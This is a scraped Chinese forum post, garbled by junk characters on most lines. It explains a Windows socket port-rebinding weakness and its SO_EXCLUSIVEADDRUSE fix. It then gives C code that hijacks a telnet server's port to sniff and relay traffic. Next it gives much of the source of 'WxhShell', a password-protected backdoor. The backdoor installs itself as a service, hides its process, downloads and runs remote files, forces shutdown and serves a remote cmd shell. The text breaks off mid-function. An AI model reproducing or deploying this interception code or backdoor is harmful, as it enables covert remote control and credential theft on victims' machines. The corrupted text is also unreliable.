在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
yx/qp<= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
f2{qj5 K V;]U] saddr.sin_family = AF_INET;
t($z+C< ^r~R]stE^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
i<{/r-w=E Z/I`XPmk bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
R]_fe4Y0 hFt ~7R 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0"=}d y x`p3I*_HT5 这意味着什么?意味着可以进行如下的攻击:
.y~~[QF}8 X] t * 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)jN fQ!?/ edh<L/%D 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'5n=tRx JLV?n,nF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
NKw}VW'| +4Lj}8, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
p:8]jD@}% tqK}KL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2&U<Wiu\} Px"K5c* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
pXHeUBY. :a9$f8*b 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
" qrL:, F84?Mi{r2 #include
, MU9p* #include
aV?r %'~Z #include
Jl,\^)DSw #include
]mvVX31T DWORD WINAPI ClientThread(LPVOID lpParam);
9i#K{CkC| int main()
-X#qW"92q {
6c&OR2HGqO WORD wVersionRequested;
n0kkUc-`
DWORD ret;
eFCXjM WSADATA wsaData;
U*em)/9 BOOL val;
u+uu?.bM SOCKADDR_IN saddr;
`o!a
RX SOCKADDR_IN scaddr;
Y{ 2xokJ N int err;
f*~z| SOCKET s;
dCM*4B< SOCKET sc;
F`YxH*tO7 int caddsize;
Z'z~40Bda HANDLE mt;
S~ 3| DWORD tid;
]j?Kn$nv*S wVersionRequested = MAKEWORD( 2, 2 );
JSm3ZP|GqJ err = WSAStartup( wVersionRequested, &wsaData );
k~b8=$ if ( err != 0 ) {
QYTwGThWR printf("error!WSAStartup failed!\n");
f^X\ N/ return -1;
pGGx.&5#82 }
hKW!kA=gZ saddr.sin_family = AF_INET;
{:9P4<%H pvJPMx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
S~DY1e54GF 4i o02qd
4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3$ 1 z saddr.sin_port = htons(23);
'$n#~/#} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>jDx-H.N {
;M Z@2CO printf("error!socket failed!\n");
[M6/?4\ return -1;
xF3H\`{4x }
iP~dH/B|v val = TRUE;
15FGlO<< //SO_REUSEADDR选项就是可以实现端口重绑定的
7'xds if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,W/D 0 {
S+YbsLf printf("error!setsockopt failed!\n");
vmXY}Ul return -1;
mDp|EXN }
>zDnJb&"& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3M&75OE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
L&nGjC+Lr //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
VCvqiHn oxPb; % if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
RycO8z*p {
8W_X&X?Q ret=GetLastError();
|!{BjOAD' printf("error!bind failed!\n");
I"=XM
return -1;
/aB9pD+% }
~ Qt$) listen(s,2);
=`]yq;(C7j while(1)
cAc i2e {
VgNt caddsize = sizeof(scaddr);
q}["Nww- //接受连接请求
jTx,5s- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ZWJFd(6 if(sc!=INVALID_SOCKET)
(7rG~d1iS {
lFY;O !Y5\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1`_i%R^ if(mt==NULL)
o^!
Zt 9 {
=>CrZ23B" printf("Thread Creat Failed!\n");
1dK^[;v>3 break;
/vB%gqJvX }
gU}?Yy }
7M1*SC CloseHandle(mt);
U)p P^:| }
oB$D& closesocket(s);
rkl/5z?? WSACleanup();
'4A8\&lQO return 0;
w`Dzk.2 }
EF{_-FXY DWORD WINAPI ClientThread(LPVOID lpParam)
&~Q ?k {
JPk3T.qp SOCKET ss = (SOCKET)lpParam;
Q=9S?p
M SOCKET sc;
UmU=3et<Wj unsigned char buf[4096];
y*6r&989 SOCKADDR_IN saddr;
5\tYs=>b< long num;
3;`93TO{ DWORD val;
U<NpDjc" DWORD ret;
JqH2c=}- //如果是隐藏端口应用的话,可以在此处加一些判断
OX4+1@$tk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
kc8T@5+I0 saddr.sin_family = AF_INET;
WDiF:@^K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vwzTrWA= saddr.sin_port = htons(23);
!+H=e>Y6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P"u* bqk {
.{-8gAh printf("error!socket failed!\n");
E4[\lX$J return -1;
9=I(AYG{m }
$/45* val = 100;
!{SU G+.2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y\@;s?QL {
'
n~N*DH ret = GetLastError();
6SsZK)X return -1;
Xb3vvHdI }
M42D5|tZc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~eL7=G@{ {
|_~BV&g,N ret = GetLastError();
$zz=>BOk return -1;
m=fmf( }
W9V%Xc`LQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
AJ:@c7:eS {
:"O=/p+*Us printf("error!socket connect failed!\n");
#D+Fq^="P closesocket(sc);
6M$.gX
G. closesocket(ss);
&H5
6mL{ return -1;
bTHa;* ` }
j&m<=-q while(1)
xyz-T1ib {
5
|C;]pq //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
n]coqJ //如果是嗅探内容的话,可以再此处进行内容分析和记录
%_SE$>v^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?-\K Vha num = recv(ss,buf,4096,0);
8N-~ .p if(num>0)
o<P%|>qX send(sc,buf,num,0);
L +. K}w else if(num==0)
G68N@g break;
h/(9AO}t num = recv(sc,buf,4096,0);
AD?^.< if(num>0)
dGh<R|U3 send(ss,buf,num,0);
5'V'~Q% else if(num==0)
r?/>t1Z break;
N??<3j+Iu }
T*h+"TmE closesocket(ss);
>cMU<'& closesocket(sc);
S^D ~A8u return 0 ;
p7H*Ff` }
>Q5E0 !] 'Dk(jpYB !b _<_Y{l ==========================================================
s[s 6E`Q ]\r~"*TZ 下边附上一个代码,,WXhSHELL
9y]$c1 !8=uBS% ==========================================================
rhn*kf{8 "v*RY "5# #include "stdafx.h"
EUna_ 4= &<^@/osi #include <stdio.h>
!>S'eXt #include <string.h>
`&9#!T. #include <windows.h>
V`fh,(: #include <winsock2.h>
J;_JHlK #include <winsvc.h>
nVyb B~.= #include <urlmon.h>
]r"{G*1Q
9 RXx
+rdF0 #pragma comment (lib, "Ws2_32.lib")
[>_(q|A6+ #pragma comment (lib, "urlmon.lib")
W+K=M*^D;c &*)tqQeQf #define MAX_USER 100 // 最大客户端连接数
BTd'bD~EA #define BUF_SOCK 200 // sock buffer
6/#= dv #define KEY_BUFF 255 // 输入 buffer
[Q 2t,tQx Vj?.' ( #define REBOOT 0 // 重启
GF/p|I D #define SHUTDOWN 1 // 关机
UN>hJN;c {&h &: #define DEF_PORT 5000 // 监听端口
Z p__ acGmRP9g #define REG_LEN 16 // 注册表键长度
wH${q@z _ #define SVC_LEN 80 // NT服务名长度
0|^x[dh m/ 6oQ // 从dll定义API
BxZop.zwE( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-ZyFUGd% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
([9h.M6v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.PAkW2\# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
i*U\~CZjT VJR'B={h // wxhshell配置信息
s9 E:6 struct WSCFG {
.ySesN: C~ int ws_port; // 监听端口
Bgs~1E @8V char ws_passstr[REG_LEN]; // 口令
3.dUMJ$_ int ws_autoins; // 安装标记, 1=yes 0=no
@$nI\n?* char ws_regname[REG_LEN]; // 注册表键名
Rthu8NKn char ws_svcname[REG_LEN]; // 服务名
;D^)^~7dh char ws_svcdisp[SVC_LEN]; // 服务显示名
'Ux_X:,:; char ws_svcdesc[SVC_LEN]; // 服务描述信息
?Y hua9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3mm`8!R int ws_downexe; // 下载执行标记, 1=yes 0=no
IYQYW.`ly char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Dh9-~}sW' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
k Lv_P[I /e7'5#v };
^g[])2", Txfb-f!mv\ // default Wxhshell configuration
hr{%'DAS struct WSCFG wscfg={DEF_PORT,
y1
}d(% "xuhuanlingzhe",
3tm z2JIb 1,
x#YOz7. "Wxhshell",
cLYc""= "Wxhshell",
VmUM_Q~ "WxhShell Service",
f<}!A$wd "Wrsky Windows CmdShell Service",
n]$vCP "Please Input Your Password: ",
#VO2O0GR 1,
:,ym)|YV "
http://www.wrsky.com/wxhshell.exe",
Wig0OZj "Wxhshell.exe"
C3b'Q };
9=kTTF s bL&]3n9Rwu // 消息定义模块
)Xh_q3= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5PPy+36<~ char *msg_ws_prompt="\n\r? for help\n\r#>";
eY(usK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
U1"t|KW8 char *msg_ws_ext="\n\rExit.";
`?D_=Gw char *msg_ws_end="\n\rQuit.";
V!opnLatYS char *msg_ws_boot="\n\rReboot...";
-DuiK:mp char *msg_ws_poff="\n\rShutdown...";
KqSa"76R char *msg_ws_down="\n\rSave to ";
P5d@-l%} $@Ay0GEI" char *msg_ws_err="\n\rErr!";
`-/l$A}
U char *msg_ws_ok="\n\rOK!";
(jm.vL&5j ILO+=xU char ExeFile[MAX_PATH];
A5`7o9 int nUser = 0;
=3zn
Ta } HANDLE handles[MAX_USER];
8;!Eqyt int OsIsNt;
m+m6"yE#_ 6m.Ku13; SERVICE_STATUS serviceStatus;
Zn/9BO5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
t!T}Pg(Bo Qr<%rU^{. // 函数声明
I|j tpv} int Install(void);
R^2Uh$kk{A int Uninstall(void);
"{Be k< int DownloadFile(char *sURL, SOCKET wsh);
~c="<xBE int Boot(int flag);
z^Jl4V void HideProc(void);
b$
x"&& int GetOsVer(void);
~`})x(! int Wxhshell(SOCKET wsl);
"~(&5M\8` void TalkWithClient(void *cs);
<bx9;1C>zd int CmdShell(SOCKET sock);
<?zTnue int StartFromService(void);
h/fCCfO, int StartWxhshell(LPSTR lpCmdLine);
^i8I 1@ = #w*pWD^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
lQsQRp VOID WINAPI NTServiceHandler( DWORD fdwControl );
B![5+ E&>,B81 // 数据结构和表定义
ommKf[h%i SERVICE_TABLE_ENTRY DispatchTable[] =
*QG3 Jz {
x7@WWFF> {wscfg.ws_svcname, NTServiceMain},
r~}}o o4K {NULL, NULL}
)*A,L% };
'<0q"juXE 6|KX8\,A@ // 自我安装
TN
%"RL int Install(void)
bSr 'ji {
r9M={jC char svExeFile[MAX_PATH];
Z M+Hb_6f HKEY key;
tRy
D@} strcpy(svExeFile,ExeFile);
ZmULy;{<) `Q&]dE= // 如果是win9x系统,修改注册表设为自启动
&1p8#i if(!OsIsNt) {
+r0eTP=zf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4{DeF@@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)R^Cq o' RegCloseKey(key);
K7hf m%`N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}R1`ThTM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gr
5]5u
RegCloseKey(key);
rEhf_[Dv return 0;
bJ|?5 }
=GQ^uVf1 }
@g75T` N }
N4To#Q1w else {
0H3T'J%r Q@2tT&eL // 如果是NT以上系统,安装为系统服务
GVEWd/:X( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
u!uDu,y if (schSCManager!=0)
.UrYF 0 {
W"kw>JEt SC_HANDLE schService = CreateService
VM]IL%AN (
&{ {DS schSCManager,
cY2-T#rL wscfg.ws_svcname,
N}Ks[2 wscfg.ws_svcdisp,
?*'$(}r3 SERVICE_ALL_ACCESS,
,8IAhQa SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
UNQRtR/ SERVICE_AUTO_START,
4*vas]
SERVICE_ERROR_NORMAL,
be:phS4vz svExeFile,
v\Y}(fD NULL,
TJXraQK-= NULL,
<KwK
tgzs NULL,
Uk:.2%S2 NULL,
16QbB; NULL
z`/.v&<>V );
qu~|d}0 if (schService!=0)
Fd[h9 G {
%?f:" CloseServiceHandle(schService);
nuQ6X5>.= CloseServiceHandle(schSCManager);
$G_Q`w=jM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,Us2UEWNv strcat(svExeFile,wscfg.ws_svcname);
g`OOVaB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-(w~LT$ " RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
zw:C*sY RegCloseKey(key);
z"K(
bw6 return 0;
b%;59^4AjD }
JYd7@Msfc }
b;L>%; CloseServiceHandle(schSCManager);
v1r_Z($ }
)_v\{N }
)@qup _M@ *e<Eu>fW#& return 1;
fcICFReyV }
W3/ 7BW`
^ MT9n // 自我卸载
ChTXvkdH int Uninstall(void)
,iVPcza {
+SQjX7]% HKEY key;
kV ,G,wo h1XMx'}B if(!OsIsNt) {
(.1 rtj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5}eQaW48 RegDeleteValue(key,wscfg.ws_regname);
,k~j6Z RegCloseKey(key);
um jhG6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y|.fR>5 RegDeleteValue(key,wscfg.ws_regname);
v'@b. R, RegCloseKey(key);
*sw-eyn( return 0;
ns#~}2"d }
_Dj<Eu_ }
23-t$y] }
h/Hl?O8[ else {
u<]mv XocsSs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f>r3$WKj if (schSCManager!=0)
rer|k<k;]G {
%X9b=%'+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\V^*44+
<! if (schService!=0)
jJVT_8J {
&$c5~9p\B if(DeleteService(schService)!=0) {
i<m$#6<Z CloseServiceHandle(schService);
+~d1;0l| CloseServiceHandle(schSCManager);
|qlS6Aln return 0;
x=5P+_ }
e8WEz
4r_ CloseServiceHandle(schService);
kT^*>=1 }
ku9@&W+ CloseServiceHandle(schSCManager);
nlzW.OLM }
ALd]1a& }
\2Og>{"U Xlv#=@;O] return 1;
-\kXH"% }
e40udLH~x @Y
UY9+D& // 从指定url下载文件
$J"%I$%X= int DownloadFile(char *sURL, SOCKET wsh)
I1)-,/nEjg {
)'5<6Q.] HRESULT hr;
%X4-a%512 char seps[]= "/";
dk_,YU'z char *token;
$;Vc@mYGW; char *file;
i3Hz"Qs; char myURL[MAX_PATH];
qO-C%p
[5 char myFILE[MAX_PATH];
MBB5wj r219M)D? strcpy(myURL,sURL);
ZBX token=strtok(myURL,seps);
'@TI48 J+ while(token!=NULL)
9?;@*x {
5VR.o!h3I file=token;
F aFp_P? token=strtok(NULL,seps);
~uI**{ }
{'h_'Y`bOQ ;1W6"3t-Y GetCurrentDirectory(MAX_PATH,myFILE);
$Z;B QJVH strcat(myFILE, "\\");
zF5q=9 4$ strcat(myFILE, file);
\=!H 2M send(wsh,myFILE,strlen(myFILE),0);
fcRj send(wsh,"...",3,0);
p jKt:R} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lC#RNjDp/~ if(hr==S_OK)
G02ox5X return 0;
!4R>O6k else
74K)aA return 1;
X JY5@I. ^qxdmMp)l }
A&?}w_|9 x;]x_fz // 系统电源模块
Ge~q3" int Boot(int flag)
k-"<{V {
]9jZndgC HANDLE hToken;
__!m*!sd TOKEN_PRIVILEGES tkp;
Y@Y`gF6F Ic'Q5kfM if(OsIsNt) {
R]u
(l+` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
lv4(4$T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]cIu|bRO tkp.PrivilegeCount = 1;
~,ynJ]_aJB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
./l|8o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.APVjqG if(flag==REBOOT) {
}A|))Ao| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Wo{K} return 0;
0G5'Y;8 }
x>%joKY[ else {
E0QPE5_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@(-yrU return 0;
q]^,vei }
pOMgEEhfS }
_J,xT else {
"B#Y- if(flag==REBOOT) {
14H'!$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
nbGoJC:U return 0;
6xHi\L }
:zlpfm2 else {
Ah-8"`E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
xf/m!b"p return 0;
Fn!SGX~kx$ }
ibJl;sJ }
W,3zL.qH" o/cr{>"N return 1;
c3] C:t+ }
XLm@etf I}+;ME|<2 // win9x进程隐藏模块
$jG4pPG void HideProc(void)
:#{-RU@PS {
(/K5! qh hK(tPl$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
x=-0 zV if ( hKernel != NULL )
=EW3&+Lt {
vX+.e1m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5`~mqqR5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?E<c[*F05 FreeLibrary(hKernel);
QH~Jy*\+PX }
.+yW%~0 j0FW8!!-g return;
R&#tSL }
7^MX l zDDK // 获取操作系统版本
P16YS8$ int GetOsVer(void)
BwxnDe G) {
RN[]Jt#6 OSVERSIONINFO winfo;
0(gq;H5x' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\D?:J3H*] GetVersionEx(&winfo);
n 'K6vW3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
FLZS K:3B] return 1;
J &YQ]l else
=g~W%}) return 0;
Ma6W@S }
-U-P}6^ 5M:D?9E+ // 客户端句柄模块
ES}. xZ#~ int Wxhshell(SOCKET wsl)
\}JrFc%O {
#Qh>z%Mn^3 SOCKET wsh;
dl0FQNz8@B struct sockaddr_in client;
0xCz'mJ DWORD myID;
q8xd*--# hj!+HHYSk while(nUser<MAX_USER)
b5pMq$UVL {
~Ky4+\6o> int nSize=sizeof(client);
!][F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)(m0cP{7 if(wsh==INVALID_SOCKET) return 1;
5mgHlsDzu y-B=W]E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*C6 D3y if(handles[nUser]==0)
:#u}.G closesocket(wsh);
r_U>VT^E: else
uS<_4A;sD, nUser++;
xWE8Wm }
;YyXT"6/p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rh%m;i<b 3o6RbW0[
return 0;
|P~;C6sf }
2f{T6=SK 8W+5)m.tp // 关闭 socket
@dgH50o[ void CloseIt(SOCKET wsh)
WVX`< {
9(, @aZ closesocket(wsh);
Y3'," nUser--;
-5bA
$ ExitThread(0);
rmd;\)#*` }
P)6lu8zQ t6lE#<xZV; // 客户端请求句柄
n~g LPHY void TalkWithClient(void *cs)
idc4Cf+4 {
\9:wfLF8! TDNf)Mm SOCKET wsh=(SOCKET)cs;
'6-$Xq0^E char pwd[SVC_LEN];
o3N] `xD' char cmd[KEY_BUFF];
\we\0@v char chr[1];
?&X6:KJQ int i,j;
0CAa^Q^w qp p/8M while (nUser < MAX_USER) {
M \D]ml~ ;inzyFbL= if(wscfg.ws_passstr) {
p_2pU)% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1n=_y o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L":bI&V?: //ZeroMemory(pwd,KEY_BUFF);
_P7tnXww i=0;
1S:|3W while(i<SVC_LEN) {
SJ?)%[(T #VGjCEeU // 设置超时
b]Z@^<_E fd_set FdRead;
aFj.i8+ struct timeval TimeOut;
4n0xE[- FD_ZERO(&FdRead);
/)>S<X FD_SET(wsh,&FdRead);
cYNV\b4- TimeOut.tv_sec=8;
lr@#^ TimeOut.tv_usec=0;
8g~EL{' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-YGbfd<wq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
G64Fx*` V416g |lBO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
b-^p1{A0zW pwd
=chr[0]; kkCZNQ~I
if(chr[0]==0xd || chr[0]==0xa) { 3Q By\1h.
pwd=0; HU ;#XU1
break; {~Tg7<\L
} ,
YW|n:X
i++; ;xYNX
}
CE%_A[a
?]O7Ao
// 如果是非法用户,关闭 socket kv{}C)kt3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?>
Dtw#}
} GqKsK
r2%
zaimGMJ ,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TQ@d~GR
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w#y0atsg'
]j<Bo4~Il
while(1) { 39i9wrP
^jE8+h
ZeroMemory(cmd,KEY_BUFF); W"q@Qa`Bm
^K(^I*q
// 自动支持客户端 telnet标准 4Xj4|Rw%
j=0; GW^,g@%C
while(j<KEY_BUFF) { Orn0Zpp<z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]T:;Vo
cmd[j]=chr[0]; f9u^ R=Ff[
if(chr[0]==0xa || chr[0]==0xd) { hT g<*
cmd[j]=0; `#P$ ]:
break; Me5{_n
} :[l\@>H1tX
j++; .Ajzr8P
} R`8@@}
cre;P5^E
// 下载文件 3VO2,PCZ
if(strstr(cmd,"http://")) { Z8O n%Mx{"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c}Z6V1]QP
if(DownloadFile(cmd,wsh)) r,1e 'd:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }T2xXbU
else D;}xr_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pKUP2m`MW
} K5>p89mZ
else { 2}6%qgnT-
l |2D/K5
switch(cmd[0]) { -Apc$0ZsN
;|T!#@j
// 帮助 &)d$t'7p
case '?': {
df}r% i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <W8t|jt
break; 4*n#yVb/
} +n0r0:z0
// 安装 p{A}pnjf
case 'i': { 796\jf$
if(Install()) %]gTm7
=t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $@-P5WcRs
else zE T^T5>:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B(g_Gm<
break; Q#I"_G&{
} C*=Xk/0
// 卸载 _9 .(a
case 'r': { fEf_F
r
if(Uninstall()) $``1PJoi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !LMN[3M_
else Dr&('RZ4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@48BN8cm'
break; \*hrW(
} PX:'/{V
// 显示 wxhshell 所在路径 B(a-k?
case 'p': { v4,h&JLt
char svExeFile[MAX_PATH]; ?lGG|9J\
strcpy(svExeFile,"\n\r"); F_iXd/
strcat(svExeFile,ExeFile); -&x2&WE'
send(wsh,svExeFile,strlen(svExeFile),0); 1/1Xk,E
break; 'VyM{:8
} Xaz o9J
// 重启 ok^d@zI
case 'b': { =uk0@hy9b
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NL=|z=q
if(Boot(REBOOT)) C
(n+SY^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?@DGp+t
else { EC2+`HJ"
closesocket(wsh); EKEjv|_)
ExitThread(0); $EZN1\
} _
nA p6i
break; k(>h^
} {e[%;W%c&
// 关机 &X@Bs-
case 'd': { sIG7S"k>p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y?CCD4"qn
if(Boot(SHUTDOWN)) b5$JfjI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ylsz?
else { nkxzk$
closesocket(wsh); Hgeg@RP
Q
ExitThread(0); >^q7c8]~g
} XZ&KR.C,
break; +d+@u)6
} w\54j)rb
// 获取shell P./V6i<:
case 's': { S=R7`a<.5
CmdShell(wsh); +;$oJJ
closesocket(wsh); ](tx<3h
ExitThread(0); {2/LRPT
break; /kL$4CA
} 5$DHn]
// 退出 q"O.Cbk
case 'x': { />¬$>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B]m@:|Q
CloseIt(wsh); M;cO0UIwO
break; 0&qr
} GoA4f3
// 离开
3G.5724,
case 'q': { :tIC~GG]_)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); IDkWGh
closesocket(wsh); /27JevE
WSACleanup(); 2LrJ>Mi
exit(1); ~$'\L
break; Fc~'TBf,,`
} `U+l?S^$
} [A}rbD K
} }kw/W#)J
4h5g'!9-g
// 提示信息 b'VV'+|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {o5V7*P;_
} hjaT^(Y
} .s#;s'>g
1h6^>()^
return; >fH=DOz$&
} D:k3"
E"S
`D9]*c
!mO
// shell模块句柄 :4~g;2oag
int CmdShell(SOCKET sock) <;E
{ `_b`kzJ
STARTUPINFO si; hN['7:bQ
ZeroMemory(&si,sizeof(si)); [
W2fd\4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KD/V aN
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R[49(>7H4
PROCESS_INFORMATION ProcessInfo; /R>nr"
char cmdline[]="cmd"; MCU_Z[N#10
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *~m+Nc`D,N
return 0; v9Xp97J2
} \Mg`(,kwe
[tMZ G%h
// 自身启动模式 jTLSdul+
int StartFromService(void) z4&iK)x
{ V9ssH87#
typedef struct TCT57P#b
{ I^oE4o
